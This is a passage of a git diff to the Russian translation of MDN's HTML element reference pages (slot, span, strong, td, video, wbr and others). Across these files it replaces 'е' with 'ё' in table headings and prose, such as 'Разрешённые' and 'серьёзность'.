в которых разрешено текстовое содержимое</td> </tr> <tr> - <th scope="row">Разрешенная ARIA роль</th> + <th scope="row">Разрешённая ARIA роль</th> <td>{{ARIARole("menu")}}</td> </tr> <tr> diff --git a/files/ru/web/html/element/slot/index.html b/files/ru/web/html/element/slot/index.html index c87c67b648..84fadbdb9e 100644 --- a/files/ru/web/html/element/slot/index.html +++ b/files/ru/web/html/element/slot/index.html @@ -14,7 +14,7 @@ translation_of: Web/HTML/Element/slot <td><a href="/en-US/docs/Web/HTML/Content_categories#Flow_content">Поток контента</a>, <a href="/en-US/docs/Web/HTML/Content_categories#Phrasing_content">содержание формулировки</a></td> </tr> <tr> - <th scope="row">Разрешенный контент</th> + <th scope="row">Разрешённый контент</th> <td><a href="/en-US/docs/Web/HTML/Content_categories#Transparent_content_model">Прозрачный</a></td> </tr> <tr> @@ -26,11 +26,11 @@ translation_of: Web/HTML/Element/slot <td>{{no_tag_omission}}</td> </tr> <tr> - <th scope="row">Разрешенный родители</th> + <th scope="row">Разрешённый родители</th> <td>Любой элемент, который принимает<a href="/en-US/docs/Web/HTML/Content_categories#Phrasing_content"> содержание формулировки</a></td> </tr> <tr> - <th scope="row">Разрешенные роли ARIA</th> + <th scope="row">Разрешённые роли ARIA</th> <td>Никакой</td> </tr> <tr> diff --git a/files/ru/web/html/element/span/index.html b/files/ru/web/html/element/span/index.html index 3a8788e03e..0e28125455 100644 --- a/files/ru/web/html/element/span/index.html +++ b/files/ru/web/html/element/span/index.html @@ -26,7 +26,7 @@ translation_of: Web/HTML/Element/span <td><a href="/ru/docs/Web/Guide/HTML/Content_categories#Потоковый_контент">Потоковый контент</a>, <a href="/ru/docs/Web/Guide/HTML/Content_categories#Phrasing_content">фразовый контент</a>.</td> </tr> <tr> - <th scope="row">Разрешенное содержимое</th> + <th scope="row">Разрешённое содержимое</th> <td><a href="/ru/docs/Web/Guide/HTML/Content_categories#Phrasing_content">Фразовый контент</a>.</td> </tr> <tr> @@ -34,11 +34,11 @@ translation_of: Web/HTML/Element/span <td>Ни одного; Оба тега, открывающий и закрывающий, являются обязательными.</td> </tr> <tr> - <th scope="row">Разрешенные родительские элементы</th> + <th scope="row">Разрешённые родительские элементы</th> <td>Любой элемент, который разрешает <a href="/ru/docs/Web/Guide/HTML/Content_categories#Phrasing_content">фразовый</a> или <a href="/ru/docs/Web/Guide/HTML/Content_categories#Потоковый_контент">потоковый</a> контент в качестве содержимого.</td> </tr> <tr> - <th scope="row">Разрешенные роли ARIA</th> + <th scope="row">Разрешённые роли ARIA</th> <td>Любые</td> </tr> <tr> @@ -67,7 +67,7 @@ translation_of: Web/HTML/Element/span <h3 id="HTML_2">HTML</h3> <pre class="brush:html;gutter:false"><li><span> - <a href="portfolio.html" target="_blank">Посмотреть мое портфолио</a> + <a href="portfolio.html" target="_blank">Посмотреть моё портфолио</a> </span></li> </pre> diff --git a/files/ru/web/html/element/strong/index.html b/files/ru/web/html/element/strong/index.html index dfbbabd735..d16b0af54f 100644 --- a/files/ru/web/html/element/strong/index.html +++ b/files/ru/web/html/element/strong/index.html @@ -12,7 +12,7 @@ tags: - Элемент translation_of: Web/HTML/Element/strong --- -<p id="Summary"><span class="seoSummary">Элемент <strong>сильной значимости</strong> (<strong><code><strong></code>)</strong> указывает на то, что его содержание имеет большое значение, серьезность или срочность. Браузеры обычно отображают содержимое жирным шрифтом.</span></p> +<p id="Summary"><span class="seoSummary">Элемент <strong>сильной значимости</strong> (<strong><code><strong></code>)</strong> указывает на то, что его содержание имеет большое значение, серьёзность или срочность. Браузеры обычно отображают содержимое жирным шрифтом.</span></p> <table class="properties"> <tbody> @@ -21,7 +21,7 @@ translation_of: Web/HTML/Element/strong <td><a href="https://developer.mozilla.org/ru/docs/Web/Guide/HTML/Content_categories">Потоковой контент</a>, <a href="https://developer.mozilla.org/ru/docs/Web/Guide/HTML/Content_categories">Фразовый контент</a>, явный контент.</td> </tr> <tr> - <th scope="row">Разрешенный контент</th> + <th scope="row">Разрешённый контент</th> <td><a href="https://developer.mozilla.org/ru/docs/Web/Guide/HTML/Content_categories">Фразовый контент</a>.</td> </tr> <tr> @@ -29,11 +29,11 @@ translation_of: Web/HTML/Element/strong <td>Нет, должен иметь как начальный тег, так и конечный тег.</td> </tr> <tr> - <th scope="row">Разрешенные родители</th> + <th scope="row">Разрешённые родители</th> <td>Любой элемент, который принимает <a href="https://developer.mozilla.org/ru/docs/Web/Guide/HTML/Content_categories">фразовый контент</a>, или любой другой элемент, который принимает <a href="https://developer.mozilla.org/ru/docs/Web/Guide/HTML/Content_categories">потоковой контент</a>.</td> </tr> <tr> - <th scope="row">Разрешенные ARIA-роли</th> + <th scope="row">Разрешённые ARIA-роли</th> <td>Любые</td> </tr> <tr> @@ -49,19 +49,19 @@ translation_of: Web/HTML/Element/strong <h2 id="Замечания_по_использованию">Замечания по использованию</h2> -<p>Элемент <code><strong></code> предназначен для контента, который имеет "большое значение", включая вещи большой серьезности или срочности (например, предупреждения). Это может быть предложение, которое имеет большое значение для всей страницы, или вы можете просто попытаться указать, что некоторые слова имеют большее значение по сравнению с соседним контентом.</p> +<p>Элемент <code><strong></code> предназначен для контента, который имеет "большое значение", включая вещи большой серьёзности или срочности (например, предупреждения). Это может быть предложение, которое имеет большое значение для всей страницы, или вы можете просто попытаться указать, что некоторые слова имеют большее значение по сравнению с соседним контентом.</p> -<p>Обычно этот элемент отображается по умолчанию с использованием жирного шрифта. Однако, он не должен быть использован просто для применения жирного стиля; используйте свойство CSS {{cssxref("font-weight")}} для этой цели. Используйте элемент {{HTMLElement("b")}}, чтобы привлечь внимание к определенному тексту без указания более высокого уровня важности. Используйте элемент {{HTMLElement("em")}} element для выделения текста, который имеет выраженный акцент.</p> +<p>Обычно этот элемент отображается по умолчанию с использованием жирного шрифта. Однако, он не должен быть использован просто для применения жирного стиля; используйте свойство CSS {{cssxref("font-weight")}} для этой цели. Используйте элемент {{HTMLElement("b")}}, чтобы привлечь внимание к определённому тексту без указания более высокого уровня важности. Используйте элемент {{HTMLElement("em")}} element для выделения текста, который имеет выраженный акцент.</p> <p>Другим приемлемым использованием для <code><strong></code> является обозначение ярлыков абзацев, которые представляют заметки или предупреждения в тексте страницы.</p> <h3 id="<b>_против_<strong>"><b> против <strong></h3> -<p>Это часто путает новых разработчиков, почему существует так много способов выразить одно и то же на представленном веб-сайте. {{HTMLElement("b")}} и <code><strong></code> возможно, является одним из наиболее распространенных источников путаницы, заставляя разработчиков задавать себе вопрос: «Должен ли я использовать <code><b></code> или <code><strong></code>? Разве они не делают одно и тоже?»</p> +<p>Это часто путает новых разработчиков, почему существует так много способов выразить одно и то же на представленном веб-сайте. {{HTMLElement("b")}} и <code><strong></code> возможно, является одним из наиболее распространённых источников путаницы, заставляя разработчиков задавать себе вопрос: «Должен ли я использовать <code><b></code> или <code><strong></code>? Разве они не делают одно и тоже?»</p> <p>Не совсем. Элемент <code><strong></code> для контента, который имеет большее значение, в то время как элемент <code><b></code> используется для привлечения внимания к тексту, не указывая на то, что это более важно.</p> -<p>Это может помочь понять, что оба являются правильным и семантическими элементами в HTML5, и это совпадение, что оба они имеют одинаковый стиль (полужирный) в большинстве браузеров (хотя некоторые старые браузеры фактически подчеркивают <code><strong></code>). Каждый элемент предназначен для использования в определенных типах сценариев, и если вы хотите жирный шрифт просто для украшения, вместо этого вы должные использовать свойства CSS {{cssxref("font-weight")}}.</p> +<p>Это может помочь понять, что оба являются правильным и семантическими элементами в HTML5, и это совпадение, что оба они имеют одинаковый стиль (полужирный) в большинстве браузеров (хотя некоторые старые браузеры фактически подчёркивают <code><strong></code>). Каждый элемент предназначен для использования в определённых типах сценариев, и если вы хотите жирный шрифт просто для украшения, вместо этого вы должные использовать свойства CSS {{cssxref("font-weight")}}.</p> <p>Предполагаемое значение или цель прилагаемого текста должно быть тем, что определяет, какой элемент вы используете. Значение общения - вот что такое семантика.</p> @@ -85,7 +85,7 @@ translation_of: Web/HTML/Element/strong <pre class="brush: html notranslate"><p><strong>Важно:</strong> прежде чем продолжить, убедитесь, что вы добавили много масла.</p></pre> -<p>Это приведет к:</p> +<p>Это приведёт к:</p> <p>{{EmbedLiveSample("Маркировочные_предупреждения", 650, 80)}}</p> @@ -120,7 +120,7 @@ translation_of: Web/HTML/Element/strong <h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2> -<div class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад в данные, ознакомьтесь с https://github.com/mdn/browser-compat-data и отправьте нам пулреквест.</div> +<div class="hidden">Таблица совместимости на этой странице создаётся из структурированных данных. Если вы хотите внести свой вклад в данные, ознакомьтесь с https://github.com/mdn/browser-compat-data и отправьте нам пулреквест.</div> <p>{{Compat("html.elements.strong")}}</p> diff --git a/files/ru/web/html/element/td/index.html b/files/ru/web/html/element/td/index.html index 13adb17b58..1aff1b6a4e 100644 --- a/files/ru/web/html/element/td/index.html +++ b/files/ru/web/html/element/td/index.html @@ -21,11 +21,11 @@ translation_of: Web/HTML/Element/td Закрывающий тег может быть пропущен, если сразу за ним следует элемент {{HTMLElement("th")}} или {{HTMLElement("td")}}, или если больше нет данных в его родительском элементе.</td> </tr> <tr> - <th scope="row">Разрешенные родители</th> + <th scope="row">Разрешённые родители</th> <td>Элемент {{HTMLElement("tr")}}.</td> </tr> <tr> - <th scope="row">Разрешенные ARIA роли</th> + <th scope="row">Разрешённые ARIA роли</th> <td>Любые</td> </tr> <tr> @@ -68,11 +68,11 @@ translation_of: Web/HTML/Element/td <dl> <dt>{{htmlattrdef("axis")}} {{obsolete_inline("html5")}}</dt> - <dd>Этот атрибут включает список строк разделенных пробелами. Каждая строка это ID группы ячеек которой соответствует этот заголовок. + <dd>Этот атрибут включает список строк разделённых пробелами. Каждая строка это ID группы ячеек которой соответствует этот заголовок. <div class="note"><strong>Примечание: </strong>Не используйте этот атрибут, он устарел в последней версии стандарта: вместо этого используйте атрибут {{htmlattrxref("scope", "td")}}.</div> </dd> <dt>{{htmlattrdef("bgcolor")}} {{Non-standard_inline}}</dt> - <dd>Этот атрибут определяет цвет фона ячейки. Значением задается 6-значными шестнадцатеричными кодами как определено в <a href="https://www.w3.org/Graphics/Color/sRGB">sRGB</a>, с префиксом '#'. Можно также использовать предопределенные цветовые строки, например: + <dd>Этот атрибут определяет цвет фона ячейки. Значением задаётся 6-значными шестнадцатеричными кодами как определено в <a href="https://www.w3.org/Graphics/Color/sRGB">sRGB</a>, с префиксом '#'. Можно также использовать предопределённые цветовые строки, например: <table style="width: 80%;"> <tbody> <tr> @@ -142,7 +142,7 @@ translation_of: Web/HTML/Element/td <dt>{{htmlattrdef("colspan")}}</dt> <dd>Этот атрибут содержит положительное целое число указывающее сколько столбцов необходимо объединить. По умолчанию значение равно <code>1</code>. Значения больше 1000 будет считаться некорректным и будет использовать значение по умолчанию (1).</dd> <dt>{{htmlattrdef("headers")}}</dt> - <dd>Этот атрибут содержит список срок разделенных пробелами, каждая соответствует <strong>id</strong> атрибуту {{HTMLElement("th")}} элементов которые использует этот элемент.</dd> + <dd>Этот атрибут содержит список срок разделённых пробелами, каждая соответствует <strong>id</strong> атрибуту {{HTMLElement("th")}} элементов которые использует этот элемент.</dd> <dt>{{htmlattrdef("rowspan")}}</dt> <dd>Этот атрибут содержит положительное целое число указывающее какое количество строк необходимо объединить. По умолчанию значение равно<code>1</code>; Если его значение <code>0</code>, тогда его действие распространяется до конца табличной секции ({{HTMLElement("thead")}}, {{HTMLElement("tbody")}}, {{HTMLElement("tfoot")}}, даже если неявно определено чему ячейка принадлежит. Значения выше 65534 сокращаются до 65534.</dd> <dt>{{htmlattrdef("scope")}} {{obsolete_inline("html5")}}</dt> diff --git a/files/ru/web/html/element/template/index.html b/files/ru/web/html/element/template/index.html index 1f8131817d..10b94c2864 100644 --- a/files/ru/web/html/element/template/index.html +++ b/files/ru/web/html/element/template/index.html @@ -26,7 +26,7 @@ translation_of: Web/HTML/Element/template <td>{{no_tag_omission}}</td> </tr> <tr> - <th scope="row">Разрешенные родители</th> + <th scope="row">Разрешённые родители</th> <td>Any element that accepts <a href="/en-US/docs/Web/Guide/HTML/Content_categories#Metadata_content">metadata content</a>, <a href="/en-US/docs/Web/Guide/HTML/Content_categories#Phrasing_content">phrasing content</a>, or <a href="/en-US/docs/Web/Guide/HTML/Content_categories#Script-supporting_elements">script-supporting elements</a>. Also allowed as a child of a {{HTMLElement("colgroup")}} element that does <em>not</em> have a {{htmlattrxref("span", "colgroup")}} attribute.</td> </tr> <tr> @@ -34,7 +34,7 @@ translation_of: Web/HTML/Element/template <td><a href="https://www.w3.org/TR/html-aria/#dfn-no-corresponding-role">Нет соответствующей роли</a></td> </tr> <tr> - <th scope="row">Разрешенные роли ARIA</th> + <th scope="row">Разрешённые роли ARIA</th> <td>Отсутствует</td> </tr> <tr> diff --git a/files/ru/web/html/element/tfoot/index.html b/files/ru/web/html/element/tfoot/index.html index c23f18e84c..f13b52ba26 100644 --- a/files/ru/web/html/element/tfoot/index.html +++ b/files/ru/web/html/element/tfoot/index.html @@ -26,7 +26,7 @@ translation_of: Web/HTML/Element/tfoot <td>The <span title="syntax-start-tag">start tag</span> is mandatory. The end tag may be omitted if the {{ HTMLElement("tbody") }} element is immediately followed by an, eventually implicitly-defined, {{ HTMLElement("tbody") }}, or if there is no more content in the parent {{ HTMLElement("table") }} element.</td> </tr> <tr> - <td>Разрешенные родительские элементы</td> + <td>Разрешённые родительские элементы</td> <td> A {{ HTMLElement("table") }} element. The {{ HTMLElement("tfoot") }} must appear after any {{ HTMLElement("caption") }}, {{ HTMLElement("colgroup") }} or {{ HTMLElement("thead") }} element. It can be before or after all {{ HTMLElement("tbody") }} and {{ HTMLElement("tr") }} elements, but not intermixed with them.<br> {{ HTMLVersionInline("4") }} The {{ HTMLElement("tfoot") }} element cannot be placed after any {{ HTMLElement("tbody") }} and {{ HTMLElement("tr") }} element. This restriction has been softened in HTML5.</td> </tr> @@ -49,7 +49,7 @@ translation_of: Web/HTML/Element/tfoot <li><span style="font-family: courier new;">center</span>, выравнивание содержимого по центру ячейки</li> <li><span style="font-family: courier new;">right</span>, выравнивание содержимого по правому краю ячейки</li> <li><span style="font-family: courier new;">justify</span>, выравнивание по ширине ячейки: добавление пробелов к тексту содержимого ячейки до тех пор, пока содержимое не выровняется от одного края ячейки до другого</li> - <li><span style="font-family: courier new;">char</span>, выравнивание текстового содержимого по специальному символу с минимальным смещением, определенным {{ htmlattrxref("char", "tbody") }} и {{ htmlattrxref("charoff", "tbody") }} атрибутами {{ unimplemented_inline("2212") }}.</li> + <li><span style="font-family: courier new;">char</span>, выравнивание текстового содержимого по специальному символу с минимальным смещением, определённым {{ htmlattrxref("char", "tbody") }} и {{ htmlattrxref("charoff", "tbody") }} атрибутами {{ unimplemented_inline("2212") }}.</li> </ul> <p>Если этот атрибут не задан, то значением по умолчанию является <span style="font-family: courier new;">left</span>.</p> @@ -66,7 +66,7 @@ translation_of: Web/HTML/Element/tfoot <dl> <dt>{{ htmlattrdef("bgcolor") }} {{ Non-standard_inline() }}</dt> - <dd>Этот атрибут определяет цвет фона каждой ячейки столбца. Это один из 6-ти значного шестнадцатеричного кода определенного в <a class="external" href="http://www.w3.org/Graphics/Color/sRGB" title="http://www.w3.org/Graphics/Color/sRGB">sRGB</a>, предваряется '#'. Может быть использован один из шестнадцати предопределенных строк: + <dd>Этот атрибут определяет цвет фона каждой ячейки столбца. Это один из 6-ти значного шестнадцатеричного кода определённого в <a class="external" href="http://www.w3.org/Graphics/Color/sRGB" title="http://www.w3.org/Graphics/Color/sRGB">sRGB</a>, предваряется '#'. Может быть использован один из шестнадцати предопределённых строк: <table style="width: 80%;"> <tbody> <tr> @@ -140,7 +140,7 @@ translation_of: Web/HTML/Element/tfoot <dl> <dt>{{ htmlattrdef("valign") }} {{ Deprecated_inline() }} в {{ HTMLVersionInline("4") }}, {{ obsolete_inline() }} в {{ HTMLVersionInline("5") }}</dt> - <dd>Этот атрибут задает вертикальное выравнивание текста в каждой строке ячеек заголовка таблицы. Возможные значения для этого атрибута: + <dd>Этот атрибут задаёт вертикальное выравнивание текста в каждой строке ячеек заголовка таблицы. Возможные значения для этого атрибута: <ul> <li><span style="font-family: courier new;">baseline</span>, which will put the text as close to the bottom of the cell as it is possible, but align it on the <a class="external" href="http://en.wikipedia.org/wiki/Baseline_%28typography%29" title="http://en.wikipedia.org/wiki/Baseline_(typography)">baseline</a> of the characters instead of the bottom of them. If characters are all of the size, this has the same effect as <span style="font-family: courier new;">bottom</span>.</li> <li><span style="font-family: courier new;">bottom</span>, which will put the text as close to the bottom of the cell as it is possible;</li> diff --git a/files/ru/web/html/element/title/index.html b/files/ru/web/html/element/title/index.html index 32c1165044..545f074d97 100644 --- a/files/ru/web/html/element/title/index.html +++ b/files/ru/web/html/element/title/index.html @@ -30,7 +30,7 @@ translation_of: Web/HTML/Element/title <td><a href="/ru/docs/Web/Guide/HTML/Content_categories#Метаданные">Метаданные</a>.</td> </tr> <tr> - <th scope="row">Разрешенное содержимое</th> + <th scope="row">Разрешённое содержимое</th> <td>Текст, который не является межэлементным {{glossary("Whitespace", "разделителем")}}.</td> </tr> <tr> @@ -38,11 +38,11 @@ translation_of: Web/HTML/Element/title <td>Открывающий и закрывающий теги обязательны. Обратите внимание, что отсутствие <code></title></code> заставляет браузер игнорировать остальную часть страницы.</td> </tr> <tr> - <th scope="row">Разрешенные родительские элементы</th> + <th scope="row">Разрешённые родительские элементы</th> <td>Элемент {{ HTMLElement("head") }}, который не содержит других элементов {{ HTMLElement("title") }}.</td> </tr> <tr> - <th scope="row">Разрешенные роли ARIA</th> + <th scope="row">Разрешённые роли ARIA</th> <td>Отсутствуют.</td> </tr> <tr> @@ -62,7 +62,7 @@ translation_of: Web/HTML/Element/title <h3 id="Заголовок_страницы_и_SEO">Заголовок страницы и SEO</h3> -<p>Содержимое заголовка страницы может иметь важное значение для поисковой оптимизации ({{glossary("SEO")}}). Как правило, более длинный описательный заголовок будет лучше ранжироваться ({{glossary("Ranking")}}), чем короткий или скучный. Не только содержимое заголовка является одним из компонентов, используемых алгоритмами для определения порядка, в котором перечисляются страницы в поисковой выдаче, но и сам заголовок является приемом, которым вы привлекаете внимание читателей бегло просматривающих результаты поиска.</p> +<p>Содержимое заголовка страницы может иметь важное значение для поисковой оптимизации ({{glossary("SEO")}}). Как правило, более длинный описательный заголовок будет лучше ранжироваться ({{glossary("Ranking")}}), чем короткий или скучный. Не только содержимое заголовка является одним из компонентов, используемых алгоритмами для определения порядка, в котором перечисляются страницы в поисковой выдаче, но и сам заголовок является приёмом, которым вы привлекаете внимание читателей бегло просматривающих результаты поиска.</p> <p>Несколько методических рекомендаций и советов для составления хороших заголовков:</p> @@ -85,7 +85,7 @@ translation_of: Web/HTML/Element/title <p>Важно указать такое значение <code>title</code>, которое описывает назначение страницы.</p> -<p>Обычная техника навигации для пользователей вспомогательных технологий - прочитать заголовок страницы и определить какой контент она содержит. Это потому, что навигация по странице для определения ее содержимого может занять время и, возможно, привести к путанице.</p> +<p>Обычная техника навигации для пользователей вспомогательных технологий - прочитать заголовок страницы и определить какой контент она содержит. Это потому, что навигация по странице для определения её содержимого может занять время и, возможно, привести к путанице.</p> <h3 id="Пример_2">Пример</h3> diff --git a/files/ru/web/html/element/track/index.html b/files/ru/web/html/element/track/index.html index d9d7f801d6..f7d61a50c9 100644 --- a/files/ru/web/html/element/track/index.html +++ b/files/ru/web/html/element/track/index.html @@ -69,7 +69,7 @@ translation_of: Web/HTML/Element/track <li><code>subtitles</code> <ul> <li>Субтитры обеспечивают перевод контента, который не может быть понят зрителем. Например, диалог или текст, который не является английским, в фильме на английском языке.</li> - <li>Субтитры могут содержать дополнительный контент, обычно дополнительную справочную информацию. Например, текст в начале фильмов «Звездных войн» или дата, время и место действия сцены.</li> + <li>Субтитры могут содержать дополнительный контент, обычно дополнительную справочную информацию. Например, текст в начале фильмов «Звёздных войн» или дата, время и место действия сцены.</li> </ul> </li> <li><code>captions</code> @@ -109,7 +109,7 @@ translation_of: Web/HTML/Element/track <h3 id="Типы_данных_дорожки">Типы данных дорожки</h3> -<p>Тип данных, которые трек добавляет на носитель, задается в атрибуте <code>kind</code>, который может принимать значения <code>subtitles</code>, <code>captions</code>, <code>descriptions</code>, <code>chapters</code> или <code>metadata</code>. Элемент указывает на исходный файл, содержащий синхронизированный по времени текст, который браузер предоставляет, когда пользователь запрашивает дополнительные данные.</p> +<p>Тип данных, которые трек добавляет на носитель, задаётся в атрибуте <code>kind</code>, который может принимать значения <code>subtitles</code>, <code>captions</code>, <code>descriptions</code>, <code>chapters</code> или <code>metadata</code>. Элемент указывает на исходный файл, содержащий синхронизированный по времени текст, который браузер предоставляет, когда пользователь запрашивает дополнительные данные.</p> <p>Отдельный <code>media</code> элемент не может иметь элементы <code>track</code> с одинаковыми значениями <code>kind</code>, <code>srclang</code> и <code>label</code>.</p> diff --git a/files/ru/web/html/element/u/index.html b/files/ru/web/html/element/u/index.html index a5df007d21..5c37e3ed2f 100644 --- a/files/ru/web/html/element/u/index.html +++ b/files/ru/web/html/element/u/index.html @@ -1,5 +1,5 @@ --- -title: '<u>: Элемент слабой аннотации (подчеркивание)' +title: '<u>: Элемент слабой аннотации (подчёркивание)' slug: Web/HTML/Element/u translation_of: Web/HTML/Element/u --- diff --git a/files/ru/web/html/element/video/index.html b/files/ru/web/html/element/video/index.html index ba4dfabd2f..9fb3ff9fb7 100644 --- a/files/ru/web/html/element/video/index.html +++ b/files/ru/web/html/element/video/index.html @@ -43,10 +43,10 @@ translation_of: Web/HTML/Element/video <dl> <dt>{{htmlattrdef("autoplay")}}</dt> - <dd><span id="result_box" lang="ru"><span class="hps">Логический</span> <span class="hps">атрибут</span><span>;</span> <span class="hps">если указан,</span> то <span class="hps">видео</span> <span class="hps">начнет воспроизводится </span></span><span lang="ru"><span class="hps">автоматически</span><span class="hps">, как только</span> <span class="hps">это будет возможно сделать без</span> <span class="hps">остановки</span><span>, чтобы закончить</span> <span class="hps">загрузку данных</span><span>.</span></span></dd> + <dd><span id="result_box" lang="ru"><span class="hps">Логический</span> <span class="hps">атрибут</span><span>;</span> <span class="hps">если указан,</span> то <span class="hps">видео</span> <span class="hps">начнёт воспроизводится </span></span><span lang="ru"><span class="hps">автоматически</span><span class="hps">, как только</span> <span class="hps">это будет возможно сделать без</span> <span class="hps">остановки</span><span>, чтобы закончить</span> <span class="hps">загрузку данных</span><span>.</span></span></dd> <dt>{{htmlattrdef("autobuffer")}} {{Non-standard_inline}} {{obsolete_inline}}</dt> - <dd>Логический атрибут; если указано, видео автоматически начнет буферизацию, даже если оно не настроено на автоматический запуск. Используйте этот атрибут только тогда, когда очень вероятно, что пользователь будет смотреть видео. Видео буферизуется до тех пор, пока не заполнится кэш мультимедиа. - <div class="note"><strong>Примечание:</strong> несмотря на то, что в ранних версиях HTML5 атрибут <code>autobuffer</code> присутствовал, в последующих выпусках он был удален. Также он был удален из Gecko 2.0 и других браузеров, а в некоторых никогда не реализовывался. Спецификация определяет новый перечислимый атрибут <code>preload</code>, вместо <code>autobuffer</code> с другим синтаксисом. {{bug(548523)}}</div> + <dd>Логический атрибут; если указано, видео автоматически начнёт буферизацию, даже если оно не настроено на автоматический запуск. Используйте этот атрибут только тогда, когда очень вероятно, что пользователь будет смотреть видео. Видео буферизуется до тех пор, пока не заполнится кэш мультимедиа. + <div class="note"><strong>Примечание:</strong> несмотря на то, что в ранних версиях HTML5 атрибут <code>autobuffer</code> присутствовал, в последующих выпусках он был удалён. Также он был удалён из Gecko 2.0 и других браузеров, а в некоторых никогда не реализовывался. Спецификация определяет новый перечислимый атрибут <code>preload</code>, вместо <code>autobuffer</code> с другим синтаксисом. {{bug(548523)}}</div> </dd> <dt>{{htmlattrdef("buffered")}}</dt> <dd>Атрибут для определения временных диапазонов буферизованных носителей. Этот атрибут содержит объект {{domxref("TimeRanges")}}.</dd> @@ -64,13 +64,13 @@ translation_of: Web/HTML/Element/video <dt>{{htmlattrdef("height")}}</dt> <dd><span class="short_text" id="result_box" lang="ru"><span class="hps">Высота</span> <span class="hps">области отображения</span> <span class="hps">видео</span> <span class="hps">в</span> <span class="hps">пикселях</span><span>.</span></span></dd> <dt>{{htmlattrdef("loop")}}</dt> - <dd><span id="result_box" lang="ru"><span class="hps">Логический</span> <span class="hps">атрибут</span><span>;</span> <span class="hps">если указан,</span> то <span class="hps">по окончанию проигрывания,</span> <span class="hps">видео</span> <span class="hps">автоматически</span> начнет воспроизведение с начала<span class="hps">.</span></span></dd> + <dd><span id="result_box" lang="ru"><span class="hps">Логический</span> <span class="hps">атрибут</span><span>;</span> <span class="hps">если указан,</span> то <span class="hps">по окончанию проигрывания,</span> <span class="hps">видео</span> <span class="hps">автоматически</span> начнёт воспроизведение с начала<span class="hps">.</span></span></dd> <dt>{{htmlattrdef("muted")}}</dt> <dd>Логический атрибут, который определяет значение по умолчания для аудио дорожки, содержащуюся в видео. <span id="result_box" lang="ru"><span class="hps">Если атрибут указан</span></span>, то аудио дорожка <span id="result_box" lang="ru"><span class="hps">воспроизводиться </span></span>не будет. З<span id="result_box" lang="ru"><span class="hps">начение</span> <span class="hps">атрибута по умолчанию</span> <span class="hps">- "ложь"</span><span>,</span> и это<span class="hps"> означает, что</span> <span class="hps">звук будет</span> <span class="hps">воспроизводиться, когда</span> <span class="hps">видео воспроизводится</span><span>.</span></span></dd> <dt>{{htmlattrdef("played")}}</dt> <dd>Атрибут {{domxref("TimeRanges")}}, указывающий все диапазоны воспроизводимого видео.</dd> <dt>{{htmlattrdef("preload")}}</dt> - <dd>Этот перечислимый атрибут предназначен для того, чтобы дать подсказку браузеру о том, что, по мнению автора, приведет к лучшему пользовательскому опыту. Он может иметь одно из следующих значений: + <dd>Этот перечислимый атрибут предназначен для того, чтобы дать подсказку браузеру о том, что, по мнению автора, приведёт к лучшему пользовательскому опыту. Он может иметь одно из следующих значений: <ul> <li><code>none</code>: указывает, что видео не должно быть предварительно загружено.</li> <li><code>metadata</code>: указывает, что предварительно загружаются метаданные видео (например, длина).</li> @@ -89,7 +89,7 @@ translation_of: Web/HTML/Element/video </div> </dd> <dt>{{htmlattrdef("poster")}}</dt> - <dd>URL-адрес, указывающий на постера, которое будет использовано, пока загружается видео или пока пользователь не нажмет на кнопку воспроизведения. Если этот атрибут не указан, ничего не отображается до тех пор, пока не будет доступен первый кадр; то первый кадр отображается как рамка постера.</dd> + <dd>URL-адрес, указывающий на постера, которое будет использовано, пока загружается видео или пока пользователь не нажмёт на кнопку воспроизведения. Если этот атрибут не указан, ничего не отображается до тех пор, пока не будет доступен первый кадр; то первый кадр отображается как рамка постера.</dd> <dt>{{htmlattrdef("src")}}</dt> <dd>The URL of the video to embed. This is optional; you may instead use the {{HTMLElement("source")}} element within the video block to specify the video to embed.</dd> <dt>{{htmlattrdef("width")}}</dt> diff --git a/files/ru/web/html/element/wbr/index.html b/files/ru/web/html/element/wbr/index.html index 85e6e5c732..353b10ecdd 100644 --- a/files/ru/web/html/element/wbr/index.html +++ b/files/ru/web/html/element/wbr/index.html @@ -18,7 +18,7 @@ translation_of: Web/HTML/Element/wbr <td><strong><a href="/en-US/docs/Web/Guide/HTML/Content_categories#Flow_content">Основной поток</a>, <a href="/en-US/docs/Web/Guide/HTML/Content_categories#Phrasing_content">фразовый контент</a>.</strong></td> </tr> <tr> - <th scope="row"><strong>Разрешенное содержимое</strong></th> + <th scope="row"><strong>Разрешённое содержимое</strong></th> <td><strong>Отсутствует</strong></td> </tr> <tr> @@ -26,11 +26,11 @@ translation_of: Web/HTML/Element/wbr <td><strong>It is an {{Glossary("empty element")}}; it must have a start tag, but must not have an end tag.</strong></td> </tr> <tr> - <th scope="row">Разрешенные родительские элементы</th> + <th scope="row">Разрешённые родительские элементы</th> <td><strong>Любой элемент принимающий <a href="/en-US/docs/Web/Guide/HTML/Content_categories#Phrasing_content">фразовый контент</a>.</strong></td> </tr> <tr> - <th scope="row">Разрешенные роли ARIA</th> + <th scope="row">Разрешённые роли ARIA</th> <td><strong>Любые</strong></td> </tr> <tr> @@ -46,11 +46,11 @@ translation_of: Web/HTML/Element/wbr <h2 id="Заметки"><strong>Заметки</strong></h2> -<p>На страницах в кодировке UTF-8, элемент <code><wbr></code> ведет себя как кодовое значение <code>U+200B ZERO-WIDTH SPACE</code> (пробел нулевой ширины). В частности, он ведет себя как кодовое значение Unicode Bidi BN, то есть он не влияет на порядок {{Glossary("bidi")}}-направления (двунаправленного потока) <code><div dir=rtl>123,<wbr>456</div></code>: отображается, если выражение не разбито на две строки, <code>123 456</code> и не <code>456,123</code>.</p> +<p>На страницах в кодировке UTF-8, элемент <code><wbr></code> ведёт себя как кодовое значение <code>U+200B ZERO-WIDTH SPACE</code> (пробел нулевой ширины). В частности, он ведёт себя как кодовое значение Unicode Bidi BN, то есть он не влияет на порядок {{Glossary("bidi")}}-направления (двунаправленного потока) <code><div dir=rtl>123,<wbr>456</div></code>: отображается, если выражение не разбито на две строки, <code>123 456</code> и не <code>456,123</code>.</p> <p>По той же причине, элемент <code><wbr></code> не вводит дефис в точке разрыва строки. Чтобы дефис отображался только в конце строки, используйте вместо него символ «мягкого дефиса» (<code>&shy;</code>).</p> -<p>Этот элемент был впервые реализован в Internet Explorer 5.5 и был официально определен в HTML5.</p> +<p>Этот элемент был впервые реализован в Internet Explorer 5.5 и был официально определён в HTML5.</p> <h2 id="Пример"><strong>Пример</strong></h2> diff --git a/files/ru/web/html/global_attributes/accesskey/index.html b/files/ru/web/html/global_attributes/accesskey/index.html index 3f1ef4a77e..9d5e443f85 100644 --- a/files/ru/web/html/global_attributes/accesskey/index.html +++ 